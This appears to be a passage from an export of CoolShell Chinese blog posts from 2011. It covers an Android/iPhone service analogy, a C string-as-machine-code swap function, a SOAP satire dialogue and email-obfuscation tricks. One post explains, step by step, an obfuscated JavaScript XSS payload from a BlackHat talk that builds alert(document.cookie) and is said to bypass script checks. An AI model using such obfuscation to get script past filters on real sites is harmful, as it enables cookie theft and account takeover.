很关用户的事。**用户的体验包括两方面，一方面是技术所带来的功能体验，另一方面是服务体验**。Android和iPhone的差别是，Android只关注开发人员的体验和功能的体验，并没有服务的体验，而iPhone把功能和服务的体验都打包了。Android选择走什么样的路无所谓，要打赢这场战争，Android一定要学会从技术向服务的过渡，否则，就开发而言，也就是吸引一下程序员和产商罢了，其对用户没有任何吸引力。\n\n\n但凡是走这条的，都很有问题（用户和服务跟不上，全部玩完，Linux的前期基本如此）\n\n\n* **产品 -> 开发人员 -> 产商 -> 用户 -> 服务**（???）\n\n\n而有些公司选择了这条路 （产品和服务先行，抢占用户市场相当快，比如Windows，IBM）\n\n\n* **产品 + 服务 -> 用户 -> 开发人员 + 运营代理**\n\n\n我不认为Apple的经验无法复制，而是这样的模式很多很多，**这个世界上有很多IT公司做到最后才发现，只有把产品和服务一同打包，才是用户想要的**。\n\n\n——————————————————\n\n\n这就是[Apple的简单之道](https://coolshell.cn/articles/3363.html)，上述内容素材取材于我和我老婆的对话（我老婆是文科，对编程不懂，她正是我了解最终用户的对象，也是我[锻炼沟通](https://coolshell.cn/articles/3236.html)的对象）。下面是相关原始对话：\n\n\n**我**：问个问题，如果有两家餐馆，你会先那家？\n\n\n* 第一家餐馆是开放的，怎么个开放呢？厨师可能是任何想做菜的人，有做的好的，也有做不好的。餐馆的厨房里的配置也是各式各样的，厨师甚至可以自带设备，反正，什么样的厨房用具都支持。另外，该餐馆有四个订餐电话，不过，不同的订餐电话都不一定都订到菜单上所有的菜，因为这个餐馆不但把厨房给开放出去了，订餐的方式也开放出去了。进餐体验方面，不同的分店有不同的样子。\n\n\n* 第二家餐馆是封闭的，不过他也对外面的厨师开放，并和厨师一同分成。厨师里的用具是餐馆定制好的，厨师要做菜，必需先交100美金的审核费，餐馆派专人审核厨师做的每一道菜，包括工序。每个餐厅的环境非常友好，也很简单，而且能让人感到非常不错的进餐体验，所有的分店都是一样。订餐电话只有一个，可以完成一键订餐。当然，第二家店要贵点。\n\n\n**老婆**：你说的第一家就是那种像“大食代”的各种小吃拼起来的地儿吧？第二家就是像麦当劳， 必胜客，或是一些正规地像“海底捞”、“江南春”这样的店吧。第一家的店么就是顺便吃吃，要真正吃东西，还是要去第二种店。老公，难得你今天请我吃饭，我看就吃你说的第二种吧。（我晕，又把自己给绕进去了）\n\n\n——————————————正文分割线——————————————\n\n\nP.S. 有的朋友说我是C/C++出生，就是看不起Java。这样说我太小看我了，我的文章风格从来都是以一种调侃的方式，因为我觉得这样的文章会比那些枯燥的技术文章更有意思。我调侃C++和程序员的文章不比调侃Java要少，我对C++的观点从来都是C++是一门很不成熟的半成品语言！Java则要比它成熟的多得多，不过Java的跨平台和性能上的确是有很多东西可以调侃。\n\n\n**（请勿将本文用于商业用途，转载时注明作者和出处）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/5089.html)[10个必需的iOS开发工具和资源](https://coolshell.cn/articles/5089.html)\n* [![Eclipse开发Android应用程序入门:重装上阵](../wp-content/uploads/2011/04/1_starting_point_full-150x150.jpg)](https://coolshell.cn/articles/4334.html)[Eclipse开发Android应用程序入门:重装上阵](https://coolshell.cn/articles/4334.html)\n* [![Eclipse开发Android应用程序入门](../wp-content/uploads/2011/04/install-150x150.gif)](https://coolshell.cn/articles/4270.html)[Eclipse开发Android应用程序入门](https://coolshell.cn/articles/4270.html)\nThe post [食客还是大厨](https://coolshell.cn/articles/3589.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-26 C语言函数实现的另类方法.md",
    "content": "---\nlayout: post\ntitle: C语言函数实现的另类方法\ndate: 2011/1/26/ 5:38:20\nupdated: 2011/1/26/ 5:38:20\nstatus: publish\npublished: true\ntype: post\n---\n\n在前面看过那个[BT的Javascript程序](https://coolshell.cn/articles/3540.html)后，我们来看一个C语言的，相信大家还记得[输出从1到1000的数](https://coolshell.cn/articles/3445.html \"输出从1到1000的数\")最后的那个示例，本站还有很多这样的示例，如：[变态的hello word](https://coolshell.cn/articles/914.html)，[如何教新手编程](https://coolshell.cn/articles/2420.html)，[还有恐怖的C++](https://coolshell.cn/articles/1724.html)，在下面这个示例面前，神马都是浮云。\n\n\n下面这个示例向你展示了如何写一个swap()函数（把两个值交换），这段代码在我的Linux下的 gcc v4.1.1下可以正确编译通过，连一个Warning都没有，而且可以正确工作。我能说什么？！C语言并不疯狂，疯狂的是程序员。\n\n\n\n```\n#include <stdio.h>\nvoid(*swap)() = (void(*)()) \"\\x8b\\x44\\x24\\x04\\x8b\\x5c\\x24\\x08\\x8b\\x00\\x8b\\x1b\\x31\\xc3\\x31\\xd8\\x31\\xc3\\x8b\\x4c\\x24\\x04\\x89\\x01\\x8b\\x4c\\x24\\x08\\x89\\x19\\xc3\";\n\nint main(){ // works on GCC 3+4\n        int a = 37, b = 13;\n        swap(&a, &b);\n\n        printf(\"%d %d\\n\",a,b);\n}\n```\n\n其实，这种**用字符串来实现函数的方法**，在原理上是很好理解的。\n\n\n\n字符串就是一段内存空间，把一个字符串指针强转成函数指针，那么这个指针所指向的内容就是各种指令，因此，那堆乱七八糟的东西说白了就是汇编。8086的汇编。你可以使用ndisasm来看看。\n\n\n\n```\n# ruby -e \"print \\\"\\x8b\\x44\\x24\\x04\\x8b\\x5c\\x24\\x08\\x8b\\x00\\x8b\\x1b\\x31\\xc3\\x31\\xd8\\x31\\xc3\\x8b\\x4c\\x24\\x04\\x89\\x01\\x8b\\x4c\\x24\\x08\\x89\\x19\\xc3\\\"\" | ndisasm -u -\n\n00000000  8B442404          mov eax,[esp+0x4]       ; load pointers to two parameters into eax, ebx\n00000004  8B5C2408          mov ebx,[esp+0x8]\n\n00000008  8B00              mov eax,[eax]           ; load values of two parameters from pointers (*eax, *ebx) into eax, ebx\n0000000A  8B1B              mov ebx,[ebx]\n\n0000000C  31C3              xor ebx,eax             ; swap two values (eax, ebx) using xor trick\n0000000E  31D8              xor eax,ebx\n00000010  31C3              xor ebx,eax\n\n00000012  8B4C2404          mov ecx,[esp+0x4]       ; load pointer to param 1 into ecx\n00000016  8901              mov [ecx],eax           ; store swapped value 1 (eax) into param 1 (*ecx)\n\n00000018  8B4C2408          mov ecx,[esp+0x8]       ; load pointer to param 2 into ecx\n0000001C  8919              mov [ecx],ebx           ; store swapped value 2 (ebx) into param 2 (*ecx)\n\n0000001E  C3                ret\n```\n\n注意：这段汇编中使用了XOR而不是引入第三个变量来完成了变量值的交换。\n\n\n关于XOR的方式，参看下面的示例：\n\n\n\n```\na = a^b;\nb=a^b;\na=b^a; \n```\n\n或者更为简单的：\n\n\n`a^=b^=a^=b;`\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [C语言函数实现的另类方法](https://coolshell.cn/articles/3572.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-26 一段Javascript的代码.md",
    "content": "---\nlayout: post\ntitle: 一段Javascript的代码\ndate: 2011/1/26/ 0:39:39\nupdated: 2011/1/26/ 0:39:39\nstatus: publish\npublished: true\ntype: post\n---\n\n我们先看一段Javascript的代码，如下所示：（你能看出来这是干什么的？）\n\n\n[javascript]($=[$=[]][(\\_\\_=!$+$)[\\_=-~-~-~$]+({}+$)[\\_/\\_]+  \n\n($$=($\\_=!”+$)[\\_/\\_]+$\\_[+$])])()[\\_\\_[\\_/\\_]+\\_\\_  \n\n[\\_+~$]+$\\_[\\_]+$$](\\_/\\_)[/javascript]\n\n\n这段代码来自[BlackHat DC 2011](http://www.blackhat.com/html/bh-dc-11/bh-dc-11-home.html)（(黑帽安全大会，全世界最大两个黑客大会之一，另一个是Defcon）中的一个叫[Ryan Barnett](http://www.blackhat.com/html/bh-dc-11/bh-dc-11-speaker_bios.html#Barnett)黑客做的[XSS Street-Fight](https://docs.google.com/viewer?url=http://www.modsecurity.org/documentation/XSS_Street_Fight-Ryan_Barnett-BlackhatDC-2011.pdf&embedded=true&chrome=true)！的演讲(XSS是Web上比较经典的跨站式攻击，操作起来也有些复杂)，一共69页，基本上都是一些比较枯燥的Javascript，不过这段代码挺有意思的，如果上面这段代码换个样子：\n\n\n[javascript]($=[$=[]][(\\_\\_=!$+$)[\\_=-~-~-~$]+({}+$)[\\_/\\_]+  \n\n($$=($\\_=!”+$)[\\_/\\_]+$\\_[+$])])()[\\_\\_[\\_/\\_]+\\_\\_  \n\n[\\_+~$]+$\\_[\\_]+$$](document.cookie)[/javascript]\n\n\n你看到了document.cookie，于是你可能会想到这是偷用户帐号免登录cookie的。是的，就是这样。答案是，这代码等价于alert(document.cookie)，而最上面的那个代码等价于alert(1)——当然，还不仅仅只是alert。看到这里，你可能会想起[变态的C语言Hello World程序](https://coolshell.cn/articles/914.html \"6个变态的C语言Hello World程序 \")，以及[如何加密/混乱C源代码](https://coolshell.cn/articles/933.html \"如何加密/混乱C源代码\")，是的，这回的这个是Javascript版的，混乱Javascript的会比混乱C的更难懂，因为Javascript的变量类型是可以乱用的。\n\n\n好，下面让我们来对这个代码做个解析。\n\n\n首先，我们先明确一点，在Javascript和C中，混乱后的代码都是要使用一个或多个下划线（\\_）来当变量名使用的，所以，请把其中的下划线看成变量名。\n\n\n其次，这段代码可以分成两个部分，第一个部门其实就是sort()，第二个部分才是alert()\n\n\n[javascript title=”sort()”]($=[$=[]][(\\_\\_=!$+$)[\\_=-~-~-~$]+({}+$)[\\_/\\_]+  \n\n($$=($\\_=!”+$)[\\_/\\_]+$\\_[+$])])()[/javascript]\n\n\n[javascript title=”alert()”][\\_\\_[\\_/\\_]+\\_\\_[\\_+~$]+$\\_[\\_]+$$](\\_/\\_)[/javascript]\n\n\n我们来看看细节的解释。\n\n\n* $=[] 是一个空数组\n* $=[$=[]] 是一个引用空数组的数组。所以 $ 的解引用就是数字 0。\n* \\_\\_ =  (\\_\\_ = !$ + $ )   等价于字符串”false”\n* \\_ = -~-~-~$    中~是位运算符“非”，~$等于-1，所以-~$ 就是+1，基本上来说，~N就是 -(N+1)，所以这个表达式的值为3。\n* 因为\\_ = 3，所以 \\_/\\_ = 3/3 = 1\n\n\n于是：\n\n\n* (\\_\\_ = !$ + $ )[ \\_ = -~-~-~$]\n* (“false”)[\\_]\n* (“false”)[3]\n* “false”[3] = s\n\n\n而：\n\n\n* ({} + $)[\\_/\\_]\n* (” object”)[\\_/\\_]\n* (” object”)[1]\n* ” object”[1] = o\n\n\n再来：\n\n\n* $ = ( $\\_ = !” + $)[\\_/\\_]\n* $ = ( “true”)[1]\n* “true”[1] = r\n\n\n最后：\n\n\n* $\\_[+$] = “true”[0] = t\n\n\n因为\n\n\n($$ = ( $\\_ = !” + $)[\\_/\\_] + $\\_[+$] ))\n\n\n所以我们可以经过下面的推算得出$$的值\n\n\n* !” = “true”\n* $\\_ = (true)\n* $\\_[1] = r\n* $\\_[0] = t\n* $$ = rt\n\n\n所以第一部分就成了 sort()，也就是以下的代码\n\n\n[javascript]($ = [ $=[]] [\"s\" + \"o\"+ \"r\"+ \"t\" ] )()[/javascript]\n\n\nSort 接受一个作为函数的参数来运行，从而执行了第二部份。\n\n\n[\\_\\_[\\_/\\_]+\\_\\_[\\_+~$]+$\\_[\\_]+$$](\\_/\\_)\n\n\n我们知道：\n\n\n* $ = 0\n* \\_ = 3\n* \\_\\_ = “false”\n* $! = “true”\n* $$ = “rt”\n\n\n[\\_\\_[\\_/\\_]+\\_\\_[\\_+~$]+$\\_[\\_]+$$](\\_/\\_)\n\n\n等价于  \n\n[\\_\\_[1] + \\_\\_[3 + -1] + $![3] + $$)(1);\n\n\n等价于  \n\n[“false”[1] + “false”[3 + -1 ] + “true”[3] + “rt”] (1)\n\n\n等价于  \n\n[ a + l + e + r + t ](1)\n\n\n等价于  \n\nalert(1)\n\n\n就是这样！于是这段代码可能绕过你的一些对Javascript的检查。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [一段Javascript的代码](https://coolshell.cn/articles/3540.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-27 SOAP的S是Simple.md",
    "content": "---\nlayout: post\ntitle: SOAP的S是Simple\ndate: 2011/1/27/ 0:47:56\nupdated: 2011/1/27/ 0:47:56\nstatus: publish\npublished: true\ntype: post\n---\n\n曾经有一个争论，一边是站在SOAP这边的人，另一边则是其它人。 站在SOAP这边人，当他们在争论SOAP和Web Service框架的复杂度时，SOAP这边的人说，在引入那些WS-\\*东东之前，SOAP的确是简单的，这就是为什么SOAP的第一个字母S就是Simple。\n\n\n在2000年的时候，有一个苦恼的程序员，\n\n\n**程序员**: 不好意思，我的老板这周末去打高尔夫了，现在我不得不要搞一个SOAP的应用，但是我根本不知道什么是SOAP。SOAP专家，你能帮我吗？\n\n\n**SOAP专家**: 当然可以。首先，我要告诉你，SOAP 就是 Simple Object Access Protocol.\n\n\n**程序员**: 哦，那么说来，他是简单的罗？\n\n\n**SOAP专家**: 简单的就像星期天一样，我的朋友。\n\n\n**程序员**: OK，快跟我说说。\n\n\n**SOAP专家**: 好，就像他的名字一样，SOAP用为远程对象访问。\n\n\n**程序员**: 像CORBA一样？\n\n\n**SOAP专家**: 正是如此，就是像 CORBA，只是更简单。不需要复杂的传输协议，还要设置防火墙，SOAP用的是HTTP。而且我们用的是XML作为传输数据格式而不是二进制。\n\n\n\n**程序员**: 听起来很不错哦，告诉我它是怎么工作的？\n\n\n**SOAP专家**: 没问题。首先，有一个SOAP信封，其相当的简单。就是一个XML文件由head和body组成。在body中进行你的RPC调用。\n\n\n**程序员**: 哦，这就是所有的RPC的东西？\n\n\n**SOAP专家**: 确对是的。就像我所说的，你的RPC调用的方法名和其参数都需要写的这个XML文档的body中。方法名是在最外层的tag，每一个嵌套的子tag就是其参数。并且所有参数的类型都可以被指定，请看能规格说明书的第五节。\n\n\n**程序员**: (阅读第五节) 还好，不算太坏。\n\n\n**SOAP专家**: 现在，当你的服务开发完后，你需要指定endpoint.\n\n\n**程序员**: Endpoint?\n\n\n**SOAP专家**: Endpoint, 就是服务的地址。你需要使用HTTP的 POST 方法把SOAP 信封放到 endpoint的 URL.\n\n\n**程序员**: 如果我使用HTTP的GET方法什么怎么样？\n\n\n**SOAP专家**: 不知道，使用GET的行为 undefined.\n\n\n**程序员**: 哼哼。那么，要是我把我的服务移到别的 endpoint上？我是否可以得到一个301错误？\n\n\n**SOAP专家**: 不会的，SOAP不会返回HTTP的错误码。\n\n\n**程序员**: 那么，当你说SOAP使用HTTP，你的意思是说SOAP在HTTP打了个洞？\n\n\n**SOAP专家**: 哦，别说得那么难听，应该说， SOAP 是一个传输协议。\n\n\n**程序员**: HTTP 就不是吗？那是应用层的协议啊。总之，SOAP支持了别的什么传输协议？\n\n\n**SOAP专家**: 官方地来说没有。但是你可以潜在地支持任何的协议。而且有许多的平台支持JMS，FTP还有SMTP。\n\n\n**程序员**: 有人用那那些协议吗？\n\n\n**SOAP专家**: 嗯，没有。不过，我想表达的是，你能够。\n\n\n**程序员**: 好吧。关于 SOAPAction HTTP header，这是用来做什么的？\n\n\n**SOAP专家**: 老实说，没人真正的知道。\n\n\n**程序员**: 那么，那些 ‘actor’ 和 ‘mustUnderstand’ 属性，是否有人用呢？\n\n\n**SOAP专家**: 没有，真的没人用。你就忽略这些东西吧。\n\n\n**程序员**: 好吧，让我现读一读SOAP的规格说明书。\n\n\n(程序员阅读中……)\n\n\n**程序员**: 好了，我现在几乎可以做个简单的东西了，但是我不能说我喜欢这个远程过程调用RPC的方法以及其序列化对象的方式 。\n\n\n**SOAP专家**: RPC！对象序列化！你从哪得到的SOAP就是一堆RPC的这种印象？! SOAP是关于基于文档的消息传递啊，我的朋友。\n\n\n**程序员**: 但是，这是你说的……\n\n\n**SOAP专家**: 忘了我所说的吧。现在，让我们谈谈消息传递吧。其消息格式遵守XML Schema，我们把之称为新型的文件格式。\n\n\n**程序员**: XML Schema?\n\n\n**SOAP专家**: 哦，这是很不错的东西，未来的头等技术，你应该看一下。\n\n\n**程序员**: (阅读 Schema 规格说明书). 上帝保佑我们！就算是亚历山大帝也搞不定它啊。\n\n\n**SOAP专家**: 不必太担心。会有专门的工作为你来创建XML Schema。真的，这只不过就是工具上的事。\n\n\n**程序员**: 工具是怎么做的？\n\n\n**SOAP专家**: 好吧，他们反映了你的代码，并自动生成Schema。\n\n\n**程序员**: 反映了我的代码？我以为这只是文档，而不是对象序列化。\n\n\n**SOAP专家**: 你没听我说吗？这只不是工具上的事。总之，我们不能期望你来手写 XML Schema 和 WSDL。另外，这其实就是一种校正测量。你不需要读的。\n\n\n**程序员**:  喔喔，等一下，你刚才说的那个单词是什么？ Wizzdle?\n\n\n**SOAP专家**: 哦，我没有说过吗？WSDL. Web Services Description Language. 它让你指定你的数据类型，参数，操作名，传输绑定，以及endpoint URI，这样，所有的客户程序员就可以访问你的服务了。你应该看看。\n\n\n**程序员**: (阅读WSDL 规格说明书)。我相信那个写下这个文章的人已经被枪杀了。其内部说明都不一致。而且，其用的是HTTP GET绑定，你不是和我说过， GET 是 undefined吗.\n\n\n**SOAP专家**: 不必担心那个，没人会用那玩意。总之，工具会帮你生成WSDL，而且在WDSL里会有Schema的。\n\n\n**程序员**: 但是，不应该用别的方法吗？不应该是先设计好接口然后再是生成代码吗？\n\n\n**SOAP专家**: 是的，我猜那在原则上听起来是对的。但做起来并不容易，只有很少的SOAP栈支持先开发WSDL。让工具为这个事操心去吧。\n\n\n**程序员**: 还有一个问题。如果我们传递 XML Schema 的消息，我们在哪里指写操作名？\n\n\n**SOAP专家**: 好吧，你还记得 SOAPAction HTTP header吗? 绝大多数的人把操作名放在那里。\n\n\n**程序员**: 大多数人？\n\n\n**SOAP专家**: 嗯，这种新型并不会被写在所有的地方。\n\n\n**程序员**: 我注意到你们整个SOAP界有很多的模糊和歧意，有些地方还是错的，并没有标准的规格说明书。实际上， SOAP 和 WSDL 规格说明书只是 W3C 的笔记罢了，连草稿都不是。\n\n\n**SOAP专家**: 我们还在继续中。\n\n\n**程序员**: 这个真的能行吗？能承诺吗？\n\n\n**SOAP专家**: 绝对没有问题。\n\n\n**程序员**: 好吧，那我去试试。\n\n\n(不久以后……)\n\n\n**程序员**: 事情变得很恶心。我这边的工具生成的WDSL居然不能被我同事的工具使用。还不仅仅是这个，其生成的XML Schemas 无法重用。而且，好像没有工具可以最好的处理SOAPAction header.\n\n\n**SOAP专家**:  很报歉，兄弟。在光明的那一面，没人用这些文件。为了让传输独立，我们所有人都用包装好的文件。听着是不是很酷：包装好的文件？\n\n\n**程序员**: 那是什么？\n\n\n**SOAP专家**: 就像是原来那样，只不过，你整个消息被 包装起来成一个元素，其和操作有一样的名字。现在操作名和消息成了一体了。\n\n\n**程序员**: 好吧，请问说明书在哪里？\n\n\n**SOAP专家**: 哦，没有规格说明书。这只是Microsoft自己搞的。不过应该是个很不错的主意，挺不错的。然后，这是一个新玩意。我想你一定会喜欢它的—— Web Services Interoperability Group，简称 WS-I，它就是为了移除 SOAP 和 WSDL 规格说明书中的那些歧义。我知道你有多么喜欢规格说明书。\n\n\n**程序员**: 所以，换句话说，原来的那些规格说明书太糟糕了，以致于你需要一个标准化的东西来标准化这些标准。上帝啊。好吧，那么，是否这些协调问题被 解决了？\n\n\n**SOAP专家**: 当然，只要你使用 WS-I 的 SOAP 栈，就可以减少使用80%的 XML Schema，别用任何不同寻常的数据类型，也别期望可以和WebSphere和 Apache Axis一起运行。\n\n\n**程序员**: 那么，是否包装的文件被在那里被解释了？\n\n\n**SOAP专家**: 没有，但是你的工具会明白的。绝大多数，总之。\n\n\n**程序员**: 让我总结一下，SOAP的定义是不变的，SOAP可以是任何东西，但就是简单，它不再意味着对象访问，就算是所有的工具都那样做。\n\n\n**SOAP专家**: 基本上是对的，但是我们走得比你要远一些。我们不赞成SOAP缩写的含义。\n\n\n**程序员**: 真的！那么SOAP是什么的缩写？\n\n\n**SOAP专家**: 什么也不是，就是SOAP.\n\n\n**程序员**: (无语中……)\n\n\n**SOAP专家**: 下面让我来告诉你什么是 UDDI。\n\n\n（注：我以前还认真地学过SOAP，不过真是学不懂。）\n\n\n原文：[来源](http://harmful.cat-v.org/software/xml/soap/simple)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/3609.html)[那些炒作过度的技术和概念](https://coolshell.cn/articles/3609.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/4905.html)[语言的数据亲和力](https://coolshell.cn/articles/4905.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg](https://coolshell.cn/articles/3498.html)[信XML，得自信](https://coolshell.cn/articles/3498.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/2504.html)[信XML，得永生！](https://coolshell.cn/articles/2504.html)\nThe post [SOAP的S是Simple](https://coolshell.cn/articles/3585.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-27 如何“加密”你的email地址.md",
    "content": "---\nlayout: post\ntitle: 如何“加密”你的email地址\ndate: 2011/1/27/ 5:3:6\nupdated: 2011/1/27/ 5:3:6\nstatus: publish\npublished: true\ntype: post\n---\n\n现在在网上要小心，无论是[保护好你的用户名和帐号](https://coolshell.cn/articles/2428.html)，还是我们的电子邮件地址。在网上有很多爬虫程序专爬我们的电子邮件地址，一量被爬中了，那么你的邮箱里就是一堆又一堆的垃圾邮件，就好像我的haoel(at)hotmail.com一样，在7、8年前，每天几千封的垃圾邮件。现在hotmail的垃圾邮件过滤得好一些了，不过也有每天40封左右的垃圾邮件。但是我们在自己的网页上又需要发布自己的email地址。所以我们需要搞乱我们的邮件地址，就像那种非常规的[搞乱代码一样](https://coolshell.cn/articles/933.html)。不过，我们还需要能认人读的出来。\n\n\n一般来说，在网上现在很普遍的做法是——\n\n\n* 1）用图片，可以用PHP动态生成那个验证码式的。\n* 2）把@变成at，把点变成dot，如 haoel(at)hotmail(dot)com之类的。\n* 3）把a变成@，写成haoel@hotm@mail.com\n\n\n不过这些还是能被爬到，用图片的方法不利于用户拷贝粘贴。下面介绍几种方法：\n\n\n#### 第一种：使用CSS样式\n\n\n**反转字序**\n\n\n\n```\n\nspan.codedirection { unicode-bidi:bidi-override; direction: rtl; }\n<p><span>moc.liamtoh@leoah</span></p>\n```\n\n\n**加入些不显示的字符串**\n\n\n\n```\np span.hide { display:none; }\n<p>foo@bar<span class=\"hide\">null</span>.baz</p>\n```\n\n#### 第二种：使用Javascript\n\n\n最为简单的方法是：\n\n\n[javascript]document.write(\"haoel\" + \"@\" + \"hotmail\" + \".\" + \"com\");[/javascript]\n\n\n或是：\n\n\n[javascript]<script type=\"text/javascript\">  \n\n<!–  \n\n var string1 = \"@\";  \n\n var string2 = \"haoel\";  \n\n var string3 = \"hotmail.com\";  \n\n var string4 = string2 + string1 + string3;  \n\n document.write(\"<a href=\" + \"mail\" + \"to:\" + string2 + string1 + string3 + \">\" + string4 + \"</a>\");  \n\n//–>  \n\n</script>[/javascript]\n\n\n不过更为强大的是使用ROT13加密，这里有一个[ROT13的在线工具](http://rot13.de/)，或是使用PHP的ROT13的函数[str\\_rot13](http://ch2.php.net/str_rot13)。\n\n\n[javascript]<script type=”text/javascript”>  \n\ndocument.write(“<n uers=\\\"znvygb:unbry@ubgznvy.pbz\\\">”.replace(/[a-zA-Z]/g,  \n\nfunction(c){return String.fromCharCode((c<=”Z”?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);}));  \n\n</script>陈皓的电子邮件</a>[/javascript]\n\n\n这些方法还是很有效果的。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![CSDN明文口令泄露的启示](../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg)](https://coolshell.cn/articles/6193.html)[CSDN明文口令泄露的启示](https://coolshell.cn/articles/6193.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5353.html)[你会做Web上的用户登录功能吗？](https://coolshell.cn/articles/5353.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [![破解你的口令](../wp-content/uploads/2011/02/passwords-150x150.png)](https://coolshell.cn/articles/3801.html)[破解你的口令](https://coolshell.cn/articles/3801.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2451.html)[Twitter的禁用口令](https://coolshell.cn/articles/2451.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/2428.html)[如何管理并设计你的口令](https://coolshell.cn/articles/2428.html)\nThe post [如何“加密”你的email地址](https://coolshell.cn/articles/3595.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-1-28 为什么中国的网页设计那么烂？.md",
